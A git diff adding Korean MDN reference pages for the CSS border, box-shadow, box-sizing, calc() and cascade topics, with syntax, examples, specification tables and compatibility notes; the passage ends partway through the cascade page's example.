+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('튀어나오는_듯한_분홍색_테두리_추가하기')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Removes <em>specific</em> support for <code>transparent</code>, as it is now a valid {{cssxref("&lt;color&gt;")}}; this has no practical impact.<br>
+    Though it cannot be set to a custom value using the shorthand, <code>border</code> now resets {{cssxref("border-image")}} to its initial value (<code>none</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Accepts the <code>inherit</code> keyword. Also accepts <code>transparent</code> as a valid color.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border")}}</p>
diff --git a/files/ko/web/css/box-shadow/index.html b/files/ko/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..a040af6e5e
--- /dev/null
+++ b/files/ko/web/css/box-shadow/index.html
@@ -0,0 +1,126 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+  - CSS
+  - CSS Property
+  - CSS Styles
+  - Reference
+translation_of: Web/CSS/box-shadow
+---
+<div>{{ CSSRef }}</div>
+
+<p><code>box-shadow</code> CSS 속성은 요소의 테두리를 감싼 그림자 효과를 추가합니다. 쉼표로 구문해서 여러 그림자 효과를 입힐 수 있습니다. 박스 그림자는 요소에서의 수평수직 거리(오프셋), 흐릿함과 확산 정도, 색상으로 이루어집니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/box-shadow.html")}}</p>
+
+<p><code>box-shadow</code> 속성은 거의 모든 요소의 테두리에서 그림자를 드리울 수 있도록 도와줍니다. {{cssxref("border-radius")}}가 요소에 함께 적용됐다면 박스 그림자의 모서리도 똑같이 둥근 모서리를 갖게 됩니다. 여러 그림자의 z축 순서는 {{cssxref("text-shadow")}}와 동일하게 처음 그림자일수록 위로 올라옵니다.</p>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator">박스 그림자 생성기</a>는 상호작용형 도구로, 쉽게 <code>box-shadow</code>의 값을 생성할 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css"><code>/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Global keywords */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;</code>
+</pre>
+
+<p>하나의 <code>box-shadow</code>는 다음 구성요소로 지정할 수 있습니다.</p>
+
+<ul>
+ <li>두 개에서 네 개의 {{cssxref("&lt;length&gt;")}} 값.
+  <ul>
+   <li>두 개의 값을 사용하면 <code>&lt;offset-x&gt;&lt;offset-y&gt;</code>로 분석합니다.</li>
+   <li>세 번째 값이 주어지면 <code>&lt;blur-radius&gt;</code>로 분석합니다.</li>
+   <li>네 번째 값이 주어지면 <code>&lt;spread-radius&gt;</code>로 분석합니다.</li>
+  </ul>
+ </li>
+ <li>선택사항으로 <code>inset</code> 키워드.</li>
+ <li>선택사항으로 {{cssxref("&lt;color&gt;")}} 값.</li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>inset</code></dt>
+ <dd>값을 지정하지 않으면(기본값) 요소가 공중에 떠있는 것처럼 밖에 드리우는 그림자가 됩니다.<br>
+ <code>inset</code> 키워드가 존재하면 요소가 움푹 들어간 것처럼 그림자가 요소의 테두리 안, 배경색 위, 내부 콘텐츠 밑에 그려집니다.</dd>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code></dt>
+ <dd>그림자의 위치를 설정하는 두 개의 {{cssxref("&lt;length&gt;")}} 값입니다. <code>&lt;offset-x&gt;</code>는 수평 거리를 의미하며 음수 값은 그림자를 요소의 왼쪽에 표시합니다. <code>&lt;offset-y&gt;</code>는 수직 거리를 의미하며 음수 값은 그림자를 요소의 위쪽에 표시합니다. 가능한 단위는 {{cssxref("&lt;length&gt;")}}를 참고하세요.<br>
+ 두 값이 모두 <code>0</code>이면 그림자가 요소 바로 뒤쪽에 위치하며, <code>&lt;blur-radius&gt;</code> 또는 <code>&lt;spread-radius&gt;</code>가 존재하면 흐려지는 효과를 볼 수 있습니다.</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>세 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 크면 클 수록 그림자 테두리가 흐려지므로 크기는 더 커지고 색은 더 밝아집니다. 음수 값은 사용할 수 없습니다. 값을 설정하지 않으면 <code>0</code>이 되어 테두리가 선명해집니다. 명세는 흐림 효과의 지름을 어떻게 계산해야 하는지 정확한 알고리즘은 명시하지 않았지만 대신 다음과 같이 설명하고 있습니다.</dd>
+ <dd>
+ <p class="summary">…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.</p>
+ </dd>
+ <dt><code>&lt;spread-radius&gt;</code></dt>
+ <dd>네 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 양수 값은 그림자가 더 커지고 확산하며, 음수 값은 그림자가 줄어듭니다. 기본값은 <code>0</code>(그림자와 요소 크기 동일)입니다. </dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>가능한 키워드와 표기법은 {{cssxref("&lt;color&gt;")}}를 참고하세요.<br>
+ 기본값은 브라우저에 따라 다릅니다. 보통 {{cssxref("color")}} 속성의 값을 사용하지만, Safari는 투명한 그림자가 기본값입니다.</dd>
+</dl>
+
+<h3 id="보간">보간</h3>
+
+<p>Each shadow in the list (treating <code>none</code> as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not <code>inset</code>, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one <code>inset</code> and the other not <code>inset</code>, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is <code>transparent</code>, all lengths are <code>0</code>, and whose <code>inset</code> (or not) matches the longer list.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre>{{csssyntax}}
+</pre>
+
+<h2 id="Live_examples" name="Live_examples">예제</h2>
+
+<ul>
+ <li><a class="external" href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html" title="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">box-shadow test</a></li>
+ <li><a class="external" href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/" title="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">box-shadow tutorial and examples</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.box-shadow")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+</ul>
diff --git a/files/ko/web/css/box-sizing/index.html b/files/ko/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..7241c0f65b
--- /dev/null
+++ b/files/ko/web/css/box-sizing/index.html
@@ -0,0 +1,119 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/box-sizing
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>box-sizing</code></strong> <a href="/ko/docs/Web/CSS" title="CSS/Common_CSS_Questions">CSS</a> 속성은 요소의 너비와 높이를 계산하는 방법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-sizing.html")}}</div>
+
+
+
+<p>CSS 박스 모델의 기본값에서, 지정한 너비와 높이는 요소의 콘텐츠 박스 크기에만 적용됩니다. 요소에 테두리나 안쪽 여백이 있으면 너비와 높이에 더해서 화면에 그립니다. 따라서 크기를 설정할 때, 원하는 크기를 얻으려면 테두리나 안쪽 여백을 고려해야 합니다.</p>
+
+<p><code>box-sizing</code> 속성을 사용해 이 방식을 바꿀 수 있습니다.</p>
+
+<ul>
+ <li><code>content-box</code>는 기본 CSS 박스 크기 결정법을 사용합니다. 요소의 너비를 100 픽셀로 설정하면 콘텐츠 영역이 100 픽셀 너비를 가지고, 테두리와 안쪽 여백은 이에 더해집니다.</li>
+ <li><code>border-box</code>는 테두리와 안쪽 여백의 크기도 요소의 크기로 고려합니다. 너비를 100 픽셀로 설정하고 테두리와 안쪽 여백을 추가하면, 콘텐츠 영역이 줄어들어 총 너비 100 픽셀을 유지합니다. 대부분의 경우 이 편이 크기를 조절할 때 쉽습니다.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>box-sizing</code> 속성은 다음 키워드 중 하나로 지정할 수 있습니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>content-box</code></dt>
+ <dd>CSS 표준이 정의한 초기 기본값. {{Cssxref("width")}}와 {{Cssxref("height")}} 속성이 콘텐츠 영역만 포함하고 안팎 여백과 테두리는 포함하지 않습니다. 즉 <code>.box {width: 350px; border: 10px solid black;}</code>을 적용한 요소의 너비는 <code>370px</code>입니다.</dd>
+ <dd>요소의 크기는 너비 = 콘텐츠 너비, 높이 = 콘텐츠 높이로 계산하고 테두리와 안쪽 여백은 식에 넣지 않습니다.</dd>
+ <dt><code>border-box</code></dt>
+ <dd>{{Cssxref("width")}} 와 {{Cssxref("height")}} 속성이 안쪽 여백과 테두리는 포함하고, 바깥 여백은 포함하지 않습니다. 안쪽 여백과 테두리가 요소 상자 안에 위치함을 유의하세요. 즉 <code>.box {width: 350px; border: 10px solid black;}</code>을 적용한 요소의 너비는 <code>350px</code>입니다. 콘텐츠 영역의 크기는 음수일 수 없으므로 <code>border-box</code>를 사용해 요소를 사라지게 할 수는 없습니다.</dd>
+ <dd>요소의 크기는 너비 = 테두리 + 안쪽 여백 + 콘텐츠 너비, 높이 = 테두리 + 안쪽 여백 + 콘텐츠 높이로 계산합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p>다음 예제는 두 개의 동일한 요소의 크기가 서로 다른 <code>box-sizing</code> 값으로 어떻게 달라지는지 보입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="content-box"&gt;Content box&lt;/div&gt;
+&lt;br&gt;
+&lt;div class="border-box"&gt;Border box&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Content box width: 160px
+     Content box height: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Total width: 160px
+     Total height: 80px
+     Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 300)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.box-sizing")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/calc()/index.html b/files/ko/web/css/calc()/index.html
new file mode 100644
index 0000000000..7a155befb3
--- /dev/null
+++ b/files/ko/web/css/calc()/index.html
@@ -0,0 +1,160 @@
+---
+title: calc()
+slug: Web/CSS/calc()
+tags:
+  - CSS
+  - CSS Function
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/CSS/calc()
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>calc()</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> 함수를 사용하면 CSS 속성의 값으로 계산식을 지정할 수 있습니다.</span> {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, {{cssxref("&lt;number&gt;")}}, 또는 {{cssxref("&lt;integer&gt;")}}를 받는 속성의 값으로 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* property: calc(expression) */
+width: calc(100% - 80px);
+</pre>
+
+<p><code>calc()</code> 함수는 매개변수로 표현식 하나를 받고, 표현식의 결과가 최종 값이 됩니다. 표현식은 단순 계산식은 무엇이든 가능하며, 표준 연산자 우선순위를 따릅니다.</p>
+
+<dl>
+ <dt><code>+</code></dt>
+ <dd>덧셈.</dd>
+ <dt><code>-</code></dt>
+ <dd>뺄셈.</dd>
+ <dt><code>*</code></dt>
+ <dd>곱셈. 하나 이상의 피연산자가 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+ <dt><code>/</code></dt>
+ <dd>나눗셈. 오른쪽 피연산자는 {{cssxref("&lt;number&gt;")}}여야 합니다.</dd>
+</dl>
+
+<p>피연산자로는 {{cssxref("&lt;length&gt;")}} 구문의 아무 값이나 사용할 수 있고, 원한다면 서로 다른 단위끼리도 계산할 수 있습니다. 괄호를 사용해서 연산 순서를 바꿀 수도 있습니다.</p>
+
+<h3 id="참고">참고</h3>
+
+<ul>
+ <li>0으로 나누면 HTML 구문분석기에서 오류가 발생합니다.</li>
+ <li><code>+</code>와 <code>-</code> 연산자는 좌우에 공백이 있어야 합니다. <code>calc(50% -8px)</code>은 백분율 값과 음수 길로 해석하여 유효하지 않지만, <code>calc(50% - 8px)</code>은 백분율과 길이의 뺄셈으로 해석합니다. 마찬가지로, <code>calc(8px + -50%)</code>는 길이와 음의 백분율간의 덧셈으로 처리합니다.</li>
+ <li><code>*</code>와 <code>/</code> 연산자는 좌우 공백을 요구하지 않지만, 그래도 추가하는 편이 일관성을 유지하기에 좋습니다.</li>
+ <li>표의 행, 열, 행/열 그룹, 자동이나 고정 레이아웃 칸에서 백분율을 포함한 수학식을 너비나 높이로 사용하면 <code>auto</code> 키워드를 사용한 것과 동일하게 처리합니다.</li>
+ <li><code>calc()</code> 함수를 중첩해서 사용하면 내부의 <code>calc()</code>는 단순한 괄호로 간주합니다.</li>
+</ul>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요소를_화면에_여백과_함께_배치하기">요소를 화면에 여백과 함께 배치하기</h3>
+
+<p><code>calc()</code>를 이용하면 고정된 너비의 여백을 가진 요소를 쉽게 배치할 수 있습니다. 다음 예제에서는 화면을 가로지르면서 창의 좌우 모서리와 간격이 40픽셀인 배너를 생성합니다.</p>
+
+<pre class="brush: css notranslate">.banner {
+  position: absolute;
+  left: 40px;
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+  box-sizing: border-box;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div class="banner"&gt;이건 현수막입니다!&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('요소를_화면에_여백과_함께_배치하기', 'auto', '60')}}</p>
+
+<h3 id="입력_양식_요소를_컨테이너_크기에_자동으로_맞추기">입력 양식 요소를 컨테이너 크기에 자동으로 맞추기</h3>
+
+<p><code>calc()</code>의 다른 용도는 입력 양식의 필드가 적절한 여백을 갖추면서도 컨테이너 모서리 바깥으로 빠져나가지 않도록 설정하는 것입니다.</p>
+
+<p>다음 CSS 코드를 살펴보세요.</p>
+
+<pre class="brush: css notranslate">input {
+  padding: 2px;
+  display: block;
+  width: calc(100% - 1em);
+}
+
+#formbox {
+  width: calc(100% / 6);
+  border: 1px solid black;
+  padding: 4px;
+}</pre>
+
+<p>위 코드에서, 폼 스스로는 창에서 사용 가능한 공간의 1/6을 차지합니다. 그 후, 입력 필드가 적절한 크기를 가질 수 컨테이너 너비에서 1em 뺀 만큼을 calc()로 지정했습니다. 이제 HTML에 CSS를 적용해보겠습니다.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div id="formBox"&gt;
+    &lt;label&gt;뭔가 입력해 보세요.&lt;/label&gt;
+    &lt;input type="text"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample('입력_양식_요소를_컨테이너_크기에_자동으로_맞추기', '100%', '80')}}</p>
+
+<h3 id="CSS_변수와_중첩_calc">CSS 변수와 중첩 <code>calc()</code></h3>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Variables" style="">CSS 변수</a><span style="">도 <code>calc()</code>와 같이 사용할 수 있습니다. 다음 코드를 살펴보세요.</span></p>
+
+<pre class="brush: css notranslate"><code>.foo {
+  --widthA: 100px;
+  --widthB: calc(var(--widthA) / 2);
+  --widthC: calc(var(--widthB) / 2);
+  width: var(--widthC);
+}</code></pre>
+
+<p>모든 변수를 펼치면 <code>widthC</code>의 값은 <code>calc( calc( 100px / 2) / 2)</code>가 됩니다. 그 후 <code>.foo</code>의 너비 속성으로 지정될 때, 모든 중첩 <code>calc()</code>는 깊이에 관계 없이 단순한 괄호로 바뀌므로 <code>width</code> 속성의 값은 <code>calc( ( 100px / 2) / 2)</code>, 즉 <code>25px</code>이 됩니다. 요약하자면 <code>calc()</code> 안의 <code>calc()</code>는 그냥 괄호와 같습니다.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>calc()</code>를 사용해 글씨 크기를 조절할땐 아래 코드처럼 피연산자 중 하나로 꼭 <a href="/ko/docs/Web/CSS/length#상대길이_단위">상대길이 단위</a>를 사용해주세요.</p>
+
+<pre class="brush: css notranslate">h1 {
+  font-size: calc(1.5rem + 3vw);
+}</pre>
+
+<p>이제 페이지를 확대해도 글씨 크기의 비율이 적절히 유지됩니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>최초로 정의됨.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.calc")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/06/css3-calc/">Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog</a></li>
+</ul>
diff --git a/files/ko/web/css/cascade/index.html b/files/ko/web/css/cascade/index.html
new file mode 100644
index 0000000000..e7d073cddb
--- /dev/null
+++ b/files/ko/web/css/cascade/index.html
@@ -0,0 +1,229 @@
+---
+title: 종속
+slug: Web/CSS/Cascade
+tags:
+  - CSS
+  - Guide
+  - Introduction
+  - Layout
+  - Reference
+translation_of: Web/CSS/Cascade
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>종속(Cascade)</strong>이란 서로 다른 원점에서 가져온 속성 여럿을 조합해 최종 결과를 도출하는 알고리즘입니다. Cascading Style Sheets라는 이름에서도 알 수 있듯 종속은 CSS의 중심입니다. 이 글은 종속이 무엇인지, 선언한 {{Glossary("CSS")}} <a href="/ko/docs/Web/API/CSSStyleDeclaration">정의</a>가 어떤 순서로 종속되는지, 그리고 여러분, 즉 웹 개발자에게 어떤 영향을 주는지 설명합니다.</p>
+
+<h2 id="Which_CSS_entities_participate_in_the_cascade">Which CSS entities participate in the cascade</h2>
+
+<p>Only CSS declarations, that is property/value pairs, participate in the cascade. This means that <a href="/en-US/docs/Web/CSS/At-rule">at-rules</a> containing entities other than declarations, such as a {{ cssxref("@font-face")}} rule containing <em>descriptors</em>, don't participate in the cascade. In these cases, only the at-rule as a whole participates in the cascade: here, the <code>@font-face</code> identified by its <code><a href="/en-US/docs/Web/CSS/@font-face/font-family">font-family</a></code> descriptor. If several <code>@font-face</code> rules with the same descriptor are defined, only the most appropriate <code>@font-face</code>, as a whole, is considered.</p>
+
+<p>While the declarations contained in most at-rules — such as those in {{cssxref("@media")}}, {{cssxref("@document")}}, or {{cssxref("@supports")}} — participate in the cascade, declarations contained in {{cssxref("@keyframes")}} don't. As with <code>@font-face</code>, only the at-rule as a whole is selected via the cascade algorithm.</p>
+
+<p>Finally, note that {{cssxref("@import")}} and {{cssxref("@charset")}} obey specific algorithms and aren't affected by the cascade algorithm.</p>
+
+<h2 id="Origin_of_CSS_declarations">Origin of CSS declarations</h2>
+
+<p>The CSS cascade algorithm's job is to select CSS declarations in order to determine the correct values for CSS properties. CSS declarations originate from different origins: the <strong>{{anch("User-agent stylesheets")}}</strong>, the <strong>{{anch("Author stylesheets")}}</strong>, and the <strong>{{anch("User stylesheets")}}</strong>.</p>
+
+<p>Though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact.</p>
+
+<h3 id="User-agent_stylesheets">User-agent stylesheets</h3>
+
+<p>The browser has a basic style sheet that gives a default style to any document. These style sheets are named <strong>user-agent stylesheets</strong>. Some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same.</p>
+
+<p>Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process, Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.</p>
+
+<h3 id="Author_stylesheets">Author stylesheets</h3>
+
+<p><strong>Author stylesheets</strong> are the most common type of style sheet. These are style sheets that define styles as part of the design of a given web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.</p>
+
+<h3 id="User_stylesheets">User stylesheets</h3>
+
+<p>The user (or reader) of the web site can choose to override styles in many browsers using a custom <strong>user stylesheet</strong> designed to tailor the experience to the user's wishes.</p>
+
+<h3 id="Override_stylesheets" name="Override_stylesheets">Override stylesheets {{Obsolete_Inline}}</h3>
+
+<p>This feature was never implemented outside of Gecko, where it was only ever used for the non-standard <a href="/en-US/docs/Mozilla/Tech/XBL">XBL stylesheets</a>.</p>
+
+<h2 id="Cascading_order">Cascading order</h2>
+
+<p>The cascading algorithm determines how to find the value to apply for each property for each document element.</p>
+
+<ol>
+ <li>It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.</li>
+ <li>Then it sorts these rules according to their importance, that is, whether or not they are followed by <code>!important</code>, and by their origin. The cascade is in ascending order, which means that <code>!important</code> values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet:
+  <table class="standard-table">
+   <thead>
+    <tr>
+     <th scope="col"> </th>
+     <th scope="col">Origin</th>
+     <th scope="col">Importance</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td>1</td>
+     <td>CSS Transitions</td>
+     <td><em>see below</em></td>
+    </tr>
+    <tr>
+     <td>2</td>
+     <td>user agent</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>3</td>
+     <td>user</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td> </td>
+     <td>override {{Obsolete_Inline}}</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>4</td>
+     <td>author</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>5</td>
+     <td>CSS Animations</td>
+     <td><em>see below</em></td>
+    </tr>
+    <tr>
+     <td> </td>
+     <td>override {{Obsolete_Inline}}</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>6</td>
+     <td>author</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>7</td>
+     <td>user</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>8</td>
+     <td>user agent</td>
+     <td><code>!important</code></td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>In case of equality, the <a href="/en-US/docs/Web/CSSSpecificity" title="/en-US/docs/Web/CSSSpecificity">specificity</a> of a value is considered to choose one or the other.</li>
+</ol>
+
+<h2 id="Resetting_styles">Resetting styles</h2>
+
+<p>After your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. This may happen in cases of animations, theme changes, and so forth. The CSS property {{cssxref("all")}} lets you quickly set (almost) everything in CSS back to a known state.</p>
+
+<p><code>all</code> lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.</p>
+
+<h2 id="CSS_animations_and_the_cascade">CSS animations and the cascade</h2>
+
+<p><a href="/en-US/docs/Web/CSSUsing_CSS_animations" title="/en-US/docs/Web/CSSUsing_CSS_animations">CSS animations</a>, using {{ cssxref("@keyframes")}} at-rules, define animations between states. Keyframes don't cascade, meaning that at any given time CSS takes values from only one single {{cssxref("@keyframes")}}, and never mixes multiple ones together.</p>
+
+<p>When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.</p>
+
+<p>Also note that values within <code>@keyframes</code> at-rules overwrite all normal values but are overwritten by <code>!important</code> values.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Let's look at an example involving multiple sources of CSS across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the HTML:</p>
+
+<p><strong>User-agent CSS:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 10px }</pre>
+
+<p><strong class="brush:css;">Author CSS 1:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 0 } /* This is a reset */</pre>
+
+<p><strong class="brush:css;">Author CSS 2:</strong></p>
+
+<pre class="brush:css;">@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+</pre>
+
+<p><strong class="brush:css;">User CSS:</strong></p>
+
+<pre class="brush:css;">.specific { margin-left: 1em }</pre>
+
+<p><strong>HTML:</strong></p>
+
+<pre class="brush:html;">&lt;ul&gt;
+  &lt;li class="specific"&gt;1&lt;sup&gt;st&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;2&lt;sup&gt;nd&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>In this case, declarations inside <code>li</code> and <code>.specific</code> rules should apply. No declaration is marked as <code>!important</code>, so the precedence order is author style sheets before user style sheets or user-agent stylesheet.</p>
+
